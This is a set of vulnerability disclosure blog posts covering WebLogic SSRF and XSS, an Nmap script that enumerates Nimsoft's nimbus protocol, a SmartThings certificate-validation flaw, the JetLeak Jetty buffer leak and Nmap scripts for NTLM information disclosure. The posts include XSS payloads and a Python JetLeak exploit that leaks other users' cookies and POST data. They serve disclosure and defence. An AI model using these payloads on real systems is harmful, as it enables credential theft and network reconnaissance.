WebLogic SSRF and XSS (CVE-2014-4241, CVE-2014-4210, CVE-2014-4242)

Universal Description Discovery and Integration (UDDI) functionality often lurks unlinked but externally accessible on WebLogic servers. It’s trivially discoverable using fuzz lists such as Weblogic.fuzz.txt and was, until recently, vulnerable to Cross Site Scripting (XSS) and Server Side Request Forgery (SSRF). I reported these vulnerabilities to Oracle and they were patched in the July 2014 Critical Patch Update (CPU).

CVE-2014-4210 Server Side Request Forgery in SearchPublicRegistries.jsp

Affected Software: Oracle Fusion Middleware 10.0.2, 10.3.6

Oracle WebLogic web server is often both (a) externally accessible; and (b) permitted to invoke connections to internal hosts. The SearchPublicRegistries.jsp page can be abused by unauthenticated attackers to cause the WebLogic web server to connect to an arbitrary TCP port of an arbitrary host. Responses returned are fairly verbose and can be used to infer whether a service is listening on the port specified.

Below is an example request to an internal host which is not listening on TCP port 23:


Response snippet:

weblogic.uddi.client.structures.exception.XML_SoapException: Connection refused

Below is an example request to a host which is listening on TCP port 22:


Response snippet:

weblogic.uddi.client.structures.exception.XML_SoapException: Received a response from url: which did not have a valid SOAP content-type: unknown/unknown.

It is possible to abuse this functionality to discover and port scan any host that the WebLogic server can access. In the event that a discovered service returns a valid SOAP response, it may be possible to view the contents of the response.

SSRF vulnerabilities offer a world of possibilities – for example, this could be used to scan for services and resources present on the WebLogic server’s loopback interface, to port scan hosts adjacent to the WebLogic server, or to profile outgoing firewall rules (e.g. port scan an external attacker-controlled server to see which outgoing connections are permitted).

CVE-2014-4241 - Reflected Cross Site Scripting in SetupUDDIExplorer.jsp

Affected software: Oracle Fusion Middleware 10.0.2, 10.3.6

User input is reflected into a cookie value (which is set for a year!). This value  is then written into subsequent responses in an unsafe manner, exposing users to Cross Site scripting attacks.

This unusual vector circumvents current in-browser anti-XSS controls present in Internet Explorer and Chrome browsers. The vulnerability was present in, and; all were swiftly fixed after I reported this to the PayPal security team.

Reflected XSS in

Example Malicious URL:


The response sets the privateregistry parameter value previously supplied as a cookie, and redirects the browser back to the SetupUDDIExplorer.jsp page:

HTTP/1.1 302 Moved Temporarily
Location: https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp
Set-Cookie: privateinquiryurls=<script>alert(2)</script>; expires=Saturday, 29-Nov-2014 08:00:27 GMT
Content-Length: 331
Content-Type: text/html;charset=UTF-8

Redirected Request:

GET /uddiexplorer/SetupUDDIExplorer.jsp HTTP/1.1
Host: [vulnerablehost]
Cookie: publicinquiryurls=!IBM|!IBM V2|!Microsoft|!XMethods|; privateinquiryurls=<script>alert(2)</script>; privatepublishurls=http://[vulnerablehost]:8080/uddi/uddilistener; consumer_display=HOME_VERSION%3d1%26FORGOT_BUTTON_ROLE%3d73; cookie_check=yes; LANG=en_US%3BUS; navlns=0.0;

Response Snippet (showing the privateinquiryurls cookie value reflected in an unsafe manner in the response):

<td valign=top width=1%></td>
<td valign=top width=70%>
  <h2>Private Registry:</h2>
  <h3>Search URL: <b><script>alert(1)</script></b></h3>
  <H3>Publish URL: <b>http://[vulnerablehost]:8080/uddi/uddilistener</b></h3>

Example Proof of Concept URLs:


CVE-2014-4242 - Reflected Cross Site Scripting in consolejndi.portal

Affected Software: Oracle Fusion Middleware 10.0.2, 10.3.6, 12.1.1,

I’ve also identified two reflected XSS vulnerabilities in WebLogic’s console application. The console application is intended to manage the WebLogic application server and is not normally externally exposed; as a result, exploitation of this vulnerability would be targeted at admin users.

Example Proof of Concept URL #1 (victim must be authenticated to the administrative console):


Response Snippet:

<div class="contenttable"><div class="introText">
<p>Listing of entries found in context <script>alert(1)</script>:</p>

Example Proof of Concept URL #2 (victim must be authenticated to the administrative console):


Response Snippet:

<script type="text/javascript">
document.write('<div class="JSTree">');
_a = new TreeNode('server', null, 'myserver\u0027);alert(4)//', '/console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIHomePage&server=myserver');alert(1)//', 'images/spacer.gif', 'images/spacer.gif', null, 'myserver\u0027);alert(4)//', false, false);


Remove access to UDDI functionality, unless there is business case to support exposing it. Failing that, ensure that the July 2014 CPU has been applied.

Disclosure Timeline
01/12/2013 - Vulnerability Reported
07/16/2014 - Vulnerability Patch Released in Oracle Critical Patch Update (CPU)


Nimbus Protocol Enumeration with Nmap

CA Unified Infrastructure Management, previously known as Nimsoft, is a powerful IT monitoring solution that allows for management of numerous servers across a Nimsoft domain. This solution communicates using a closed source protocol known as “nimbus”. The complexity of a Nimsoft domain can be high, but the basic idea is to deploy Robots (the software agent) on all of the servers you want to be part of the Nimsoft domain in order to remotely manage them. Additionally, the following terminology might help familiarise yourself with the solution…

Domain - The Nimsoft domain is the logical descriptor that makes up many servers formed in a hierarchical structure. The domain is made up of Hubs and Robots.

Robot - Every managed server that has Nimsoft installed on it will be known as a Robot. The Robot manages all Probes that can be configured.

Hub - As part of a hierarchical architecture, a Hub is also a Robot but has the ability to manage child Robots in a tree-like structure.  A Hub manages a group of Robots and maintains central services.

Probe - The specific program created that runs on a Robot. For example, there is a Hub probe that turns a Robot into a Hub.

Primary Hub - This is the first choice Hub for a given Robot. A Robot can have many parent Hubs, and the Primary is where most messages get sent.

(For additional Nimsoft terminology see:

When a Robot is installed, the service listens on TCP port 48000 by default. This high port is used for communication within the Nimsoft message bus, using the nimbus protocol. The protocol is quite complex, but what we will be looking at is what might be revealed to an unauthenticated user on the local network.

I’ve created an Nmap enumeration script that executes 4 commands with the nimbus protocol in order to gather as much relevant information as possible about the Nimsoft Robot and Domain.

  • get_info - This command reveals details about the hostname, IP address, and Nimsoft domain. In addition, the specific details on the operating system, including the Service Pack, and architecture are also disclosed.

  • _status - This command is used to acquire the specific software version of the Robot running on the server, and includes specific details regarding the SSL implementation and version.

  • gethub - This command can be used to map out the network and identify the Hub that the Robot is communicating with. It also displays information such as the IP address and name of the Primary Hub. It can be useful for mapping out a Nimsoft Domain and internal network.

  • probe_checkin - This request is similar to the “gethub” request and reveals detailed information about the Robot including its name, SSL mode, and Hub information. It also includes details of the Primary Hub.


When this script is run against a target host running a Robot, Nmap is able to fingerprint the target server quite effectively. The collected information includes:

  • Operating system (including service pack)

  • Server architecture

  • Server hostname

  • Nimsoft domain name

  • Nimsoft network information, including the IP addresses of the parent Hub and Primary Hub

Below is an example run against Nimsoft Snap, the lightweight trial edition, running on Windows Server 2012 R2 (I’ve also successfully tested on Windows XP SP3, and Windows 7 SP1).

$ nmap —script nimbus-info -n -Pn -p 48000
Starting Nmap 6.46 ( ) at 2015-01-11 13:24 GMT
Nmap scan report for
Host is up (0.00045s latency).
48000/tcp open  unknown
| nimbus-info:
|   status:
|     name: NMS Robot Controller
|     company: CA
|     version: 7.60 [Build 7.60.1097, Jun 12 2014]
|     started: 1420981880
|     restarted: 0
|     connections: 19
|     messages: 1
|     libversion: 6.01 (32bit)
|     libdate: Jun 12 2014
|     ssl_mode: 0
|     ssl_cipher: DEFAULT
|     ssl_version: OpenSSL 1.0.0c 2 Dec 2010
|   gethub:
|     name: win7
|     hubdomain: none
|     hubname:
|     hubrobotname:
|     hubip:
|     hubport: 48002
|     phub_domain: none
|     phub_name:
|     phub_robotname:
|     phub_ip:
|     phub_port: 48002
|   getinfo:
|     robotname: win7
|     robotip:
|     hubname:
|     hubip:
|     domain: none
|     origin:
|     source: Win7
|     robot_device_id: DF842C8209237C42AED75AB12
|     robot_mode: 1
|     hubrobotname:
|     log_level: 0
|     log_file: controller.log
|     license: 0
|     requests: 59
|     uptime: 768
|     started: 1420981878
|     os_major: Windows
|     os_minor: Windows 7 Enterprise Edition, 32-bit
|     os_version: 6.1.7601
|     os_description: Service Pack 1 Build 7601
|     os_user1:
|     os_user2:
|     processor_type: Intel(R) Core(TM) i5-3230M CPU @ 2.60GHz
|     workdir: C:\Program Files\Nimsoft
|     current_time: 1420982646
|     access_0: 0
|     access_1: 0
|     access_2: 0
|     access_3: 0
|     access_4: 0
|     timezone_diff: 28800
|     timezone_name: Pacific Standard Time
|     spoolport: 48001
|     last_inst_change: 1411993600
|   probecheckin:
|     domain: none
|     robotname: win7
|     ssl_mode: 0
|     ssl_cipher: DEFAULT
|     robotip:
|     hubdomain: none
|     hubname:
|     hubrobotname:
|     hubip:
|     hubport: 48002
|     phub_domain: none
|     phub_name:
|     phub_robotname:
|     phub_ip:
|_    phub_port: 48002
MAC Address: 08:00:27:51:82:B0 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds

Adding this Nmap script is quite simple. It can be copied either to your local directory and executed there or to the Nmap scripts directory. If you are running Kali, that is located within the /usr/share/nmap/scripts directory. Once this is finished, the new script will automatically be added when Nmap is executed with the —script argument. For reference, the Nmap search path for executing script is as follows:

  • —datadir


  • ~/.nmap (not searched on Windows)

  • the directory containing the nmap executable

  • the directory containing the nmap executable, followed by ../share/nmap


  • the current directory.

(See for more information)

The source code is available for download at the following URL: 

Hopefully this was of interest and helps you on your nimbus network enumeration!


SmartThings SSL Certificate Validation Vulnerability

The Labs team at Gotham Digital Science recently conducted independent research into the SmartThings platform as part of an ongoing effort to identify security vulnerabilities in “Internet of Things” devices and assist vendors in the preparation of appropriate fixes.

During the course of this research, a vulnerability was discovered in the SmartThings Hub device that could allow attackers to intercept and modify communications between the Hub and the SmartThings backend servers.  This vulnerability has been patched by the vendor and updated firmware has been pushed to existing Hub devices.  GDS would like to thank SmartThings for their responsiveness and efforts in remediating this issue.


The communications between the SmartThings Hub and the SmartThings backend servers is encrypted with SSL. However, the SSL client implementation in use does not validate the authenticity of the SSL certificate presented by the server during the initial handshake. An attacker with the ability to monitor and intercept traffic can present a “forged” SSL certificate to the Hub claiming to be a legitimate backend server, which the Hub will accept as genuine. This makes it possible to perform a “man-in-the-middle” attack, whereby an attacker relays communications between client and server without their knowledge. In this scenario, the communications are available to the attacker in an unencrypted form and may be modified or disrupted, effectively defeating the protections offered by SSL encryption.

Secure and authenticated communications are vital to a platform such as SmartThings, which may be used as part of a home security system. As an example, the Hub transmits a data packet when a SmartSense Open/Closed Sensor opens. By simply not relaying this data packet, an attacker can prevent notification of this event from ever reaching the SmartThings backend servers, which in turn prevents notification being delivered to the end user.

A potential mitigating factor is the lack of WiFi communication used by the Hub, making traffic interception more difficult as it requires that an attacker be physically connected to the same network as the Hub or for interception to occur during transit over the Internet. However this does not offer complete protection, as several home networks make use of WiFi bridges or repeaters. An attacker may also have compromised another device residing on the network such as a router or personal media server that may be used to perform traffic interception.

Disclosure timeline:

11/10/14 - Initial report to vendor
11/11/14 - Report acknowledged
11/21/14 - Vulnerability confirmed
01/29/15 - Updated firmware rollout begins
03/04/15 - Public disclosure


JetLeak Vulnerability: Remote Leakage of Shared Buffers in Jetty Web Server [CVE-2015-2080]


GDS discovered a critical information leakage vulnerability in the Jetty web server that allows an unauthenticated remote attacker to read arbitrary data from previous requests submitted to the server by other users. I know that sentence is a mouthful, so take a brief moment to digest it, or simply keep reading to understand what that means. Simply put, if you’re running a vulnerable version of the Jetty web server, this can lead to the compromise of sensitive data, including data passed within headers (e.g. cookies, authentication tokens, Anti-CSRF tokens, etc.), as well as data passed in the POST body (e.g. usernames, passwords, authentication tokens, CSRF tokens, PII, etc.). (GDS also observed this data leakage vulnerability with responses as well, but for brevity this blog post will concentrate on requests)

The root cause of this vulnerability can be traced to exception handling code that returns approximately 16 bytes of data from a shared buffer when illegal characters are submitted in header values to the server. An attacker can exploit this behavior by submitting carefully crafted requests containing variable length strings of illegal characters to trigger the exception and offset into the shared buffer. Since the shared buffer contains user submitted data from previous requests, the Jetty server will return specific data chunks (approximately 16-bytes in length) from the user’s request depending on the attacker’s payload offset.

Am I vulnerable?

This vulnerability affects versions 9.2.3 to 9.2.8. GDS also found that beta releases and later (including the beta releases of 9.3.x) are vulnerable.

We have created a simple python script that can be used to determine if a Jetty HTTP server is vulnerable. The script code can be downloaded from the GDS Github repository below:

Walkthrough of Vulnerable Code

When the Jetty web server receives a HTTP request, the below code is used to parse through the HTTP headers and their associated values. This walkthrough will focus primarily on the parsing of the header values. The server begins by looping through each character for a given header value and checks the following:

  • On Line 1164, the server checks if the character is printable ASCII or not a valid ASCII character
  • On Line 1172, the server checks if the character is a space or tab
  • On Line 1175, the server checks if the character is a line feed

If the character is non-printable ASCII (or less than 0x20), then all of the checks above are skipped over and the code throws an ‘IllegalCharacter’ exception on line 1186, passing in the illegal character and a shared buffer.

File: jetty-http\src\main\java\org\eclipse\jetty\http\

920: protected boolean parseHeaders(ByteBuffer buffer)
921: {
1163:     case HEADER_VALUE:
1164:         if (ch>HttpTokens.SPACE || ch<0)
1165:         {
1166:             _string.append((char)(0xff&ch));
1167:             _length=_string.length();
1168:             setState(State.HEADER_IN_VALUE);
1169:             break;
1170:         }
1172:         if (ch==HttpTokens.SPACE || ch==HttpTokens.TAB)
1173:            break;
1175:         if (ch==HttpTokens.LINE_FEED)
1176:         {
1177:             if (_length > 0)
1178:             {
1179:                 _value=null;
1180:                 _valueString=(_valueString==null)?
                             takeString():(_valueString+” “+
1181:             }
1182:             setState(State.HEADER);
1183:             break;
1184:         }
1186:         throw new IllegalCharacter(ch,buffer);

In the definition of the ‘IllegalCharacter’ method, the server returns an error message. The error message is a format string composed of the illegal character, a static string that represents whether the exception occurred in the header name or header value, and finally a String that outputs some content of the shared buffer via a call to ‘BufferUtil.toDebugString’.

File: jetty-http\src\main\java\org\eclipse\jetty\http\

1714: private class IllegalCharacter extends BadMessage
1715: {
1716:     IllegalCharacter(byte ch,ByteBuffer buffer)
1717:     {
1718:         super(String.format(“Illegal character 0x%x 
                      in state=%s in '%s’”,ch,_state,
1719:     }
1720: }

In the ‘toDebugString’ method, there is a call to ‘appendDebugString’, which accepts a StringBuilder object as its first parameter and the shared buffer object as the second parameter. The StringBuilder object will be populated by the ‘appendDebugString’ method and ultimately returned to the user.

File: jetty-util\src\main\java\org\eclipse\jetty\util\

 963: public static String toDebugString(ByteBuffer buffer)
 964: {
 965:     if (buffer == null)
 966:         return “null”;
 967:     StringBuilder buf = new StringBuilder();
 968:     appendDebugString(buf,buffer);
 969:     return buf.toString();
 970: }

Since the shared buffer contains data from previous requests, in order for the attacker to retrieve specific data in the shared buffer, their goal is to create a long enough string of illegal characters to overwrite non-important data in the previous request up until the data the attacker wants (e.g. Cookies, authentication tokens, etc.). When the code on line 996 executes, the server reads 16 bytes from the shared buffer before appending “…”. Since the attacker already off-setted into the previous request via an appropriate length string of illegal characters, these 16 bytes should contain sensitive user data from a previous user’s request.

File: jetty-util\src\main\java\org\eclipse\jetty\util\

972:  private static void appendDebugString(StringBuilder buf,ByteBuffer buffer)
973: {
983:     buf.append(<<<);
984:     for (int i = buffer.position(); i < buffer.limit(); i++)
985:     {
986:         appendContentChar(buf,buffer.get(i));
987:         if (i == buffer.position() + 16 && 
                     buffer.limit() > buffer.position() + 32)
988:         {
989:             buf.append(“…”);
990:             i = buffer.limit() - 16;
991:         }
992:     }
993:     buf.append(>>>);
994:     int limit = buffer.limit();
995:     buffer.limit(buffer.capacity());
996:     for (int i = limit; i < buffer.capacity(); i++)
997:     {
998:         appendContentChar(buf,buffer.get(i));
999:         if (i == limit + 16 && 
                    buffer.capacity() > limit + 32)
1000:        {
1001:             buf.append(“…”);
1002:             i = buffer.capacity() - 16;
1003:         }
1004:     }
1005:     buffer.limit(limit);
1006: }
Additional places where IllegalCharacter is called in 9.2.x codebase (line numbers may differ):
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\

The section below provides a walkthrough of how a malicious user could exploit this vulnerability to read sensitive data from another user’s HTTP requests (e.g. cookies, authentication headers, credentials or sensitive data submitted within URLs or POST data).

Exploit Walkthrough

Step 1:

The HTTP request below represents a sample request sent by a victim to the Jetty web server (version 9.2.7.v20150116). Notice the ‘Cookie’ and POST body parameters sent to the server since these will be the values that will be targeted within our proof of concept.

Reproduction Request (VICTIM):

POST /test-spec/test HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64; rv:35.0) Gecko/20100101
Cookie: password=secret
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 13


Reproduction Response (VICTIM):

HTTP/1.1 200 OK
Set-Cookie: visited=yes
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html
Server: Jetty(9.2.7.v20150116)
Content-Length: 3460

Step 2:

As the attacker, craft a request to the same endpoint, but remove the contents of the ‘Referer’ header and replace it with a string of illegal characters. In this particular case, the string contains 44 null bytes. One could conceivably use any non-ASCII character less than 0x20 (other than line-feed since the code handles it specially).

Note, the process of figuring out the correct length of characters for the illegal character string is an iterative process. The suggestion is to start with a small string and work towards a larger size string. If the attacker starts with too large of a string they risk overwriting sensitive data from the previous request. Ideally, the attacker wants to overwrite data in the previous request up until the beginning of the sensitive data. The code will then read 16 bytes of sensitive data and return it to the attacker.

import httplib, urllib

conn = httplib.HTTPConnection("")

headers = {"Referer": chr(0)*44}
conn.request("POST", "/test-spec/test", "", headers)
r1 = conn.getresponse()
print r1.status, r1.reason

Step 3:

Once the script is run and the malicious payload is sent to the server, the attacker should receive a response similar to the one below. Notice that the cookie value is contained within the response. Since it is conceivable that the attacker may want to obtain a value greater than 16 bytes in length, the script above can be run multiple times to get additional 16 byte chunks from the buffer.

Step 4:

To read the POST body parameters, the attacker can modify the length of the illegal character string to offset further into the shared buffer as shown below.



Currently, if you are running one of the vulnerable Jetty web server versions, Jetty recommends that you upgrade to version 9.2.9.v20150224 immediately.

Organizations should also be aware that Jetty may be bundled within third party products. We recommend referring to the Jetty Powered website for a list of products (not exhaustive) that utilize Jetty. Due to Jetty being a fairly lightweight HTTP server, it is also commonly used by a variety of embedded systems. Organizations should contact any vendors that may be running a Jetty web server in order to determine if their products are vulnerable and when any patches to resolve this vulnerability will be made available. Additionally, we have encountered cases where development teams use Jetty as a lightweight replacement for app servers such as Tomcat. Organizations should consider notifying their development teams about the vulnerability and require teams to upgrade any vulnerable versions of Jetty.

The latest release of the Jetty HTTP server is available for download at the following locations:

  • Maven -
  • Jetty Downloads Page -

UPDATE: Jetty is currently working on releasing patched versions of the affected JARs for releases 9.2.3 to 9.2.8 and will make that available through their website to the general public

Disclosure Timeline

  • Feb 19, 2015 - Vulnerability report sent to [email protected] using SendSafely
  • Feb 23, 2015 - Jetty team downloads the vulnerability report
  • Feb 24, 2015 - Jetty team releases HTTP Server v9.2.9.v20150224 with bug fix and publicly announces a critical vulnerability advisory with exploit code
  • Feb 25, 2015 - GDS publicly discloses vulnerability

GDS commends the Jetty development team on their timely response and swift remediation. It should be noted that the decision to publicly disclose the vulnerability was made by the Jetty development team, independent of GDS. GDS’ blog post was published after it was discovered that Jetty had publicly disclosed the vulnerability.


NTLM Information Disclosure: Enhanced Protocol Support

Expanding on our previous blog post detailing NTLM information disclosure over HTTP, we’ve released six additional Nmap scripts to support this method among other common protocols that support NTLM authentication.  The new supported protocols include MS-SQL, SMTP, IMAP, POP3, NNTP, and Telnet.

Similar to the HTTP NTLM information disclosure script, these function with identical behavior and provide the same output.  The example below demonstrates usage of the MS-SQL script which leverages the MS-TDS protocol:

$ nmap –p1433 ––script ms-sql-ntlm-info

Nmap scan report for
Host is up (0.040s latency).
1433/tcp open ms-sql-s
| ms-sql-ntlm-info:
|  Target_Name: ACTIVEDB
|  NetBIOS_Domain_Name: ACTIVEDB
|  NetBIOS_Computer_Name: DB-TEST2
|  DNS_Domain_Name:
|  DNS_Computer_Name:
|  DNS_Tree_Name:
|_ Product_Version: 6.1 (Build 7601)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Utilizing such information is useful for network reconnaissance as the information disclosed may be used as part of more complex attacks, such as leveraging domain information for brute forcing accounts, identifying internal hostnames during external to internal pivoting activities, or determining end-of-life operating systems.

These scripts have been tested against all current/past versions of Microsoft SQL, SMTP, IMAP, POP3, NNTP, and Telnet.  The HTTP NTLM script (http-ntlm-info.nse) has been committed into the Nmap source.  All other scripts have been submitted and are awaiting commitment.

The scripts along with documentation have been published on the GDS Github repository at the following location: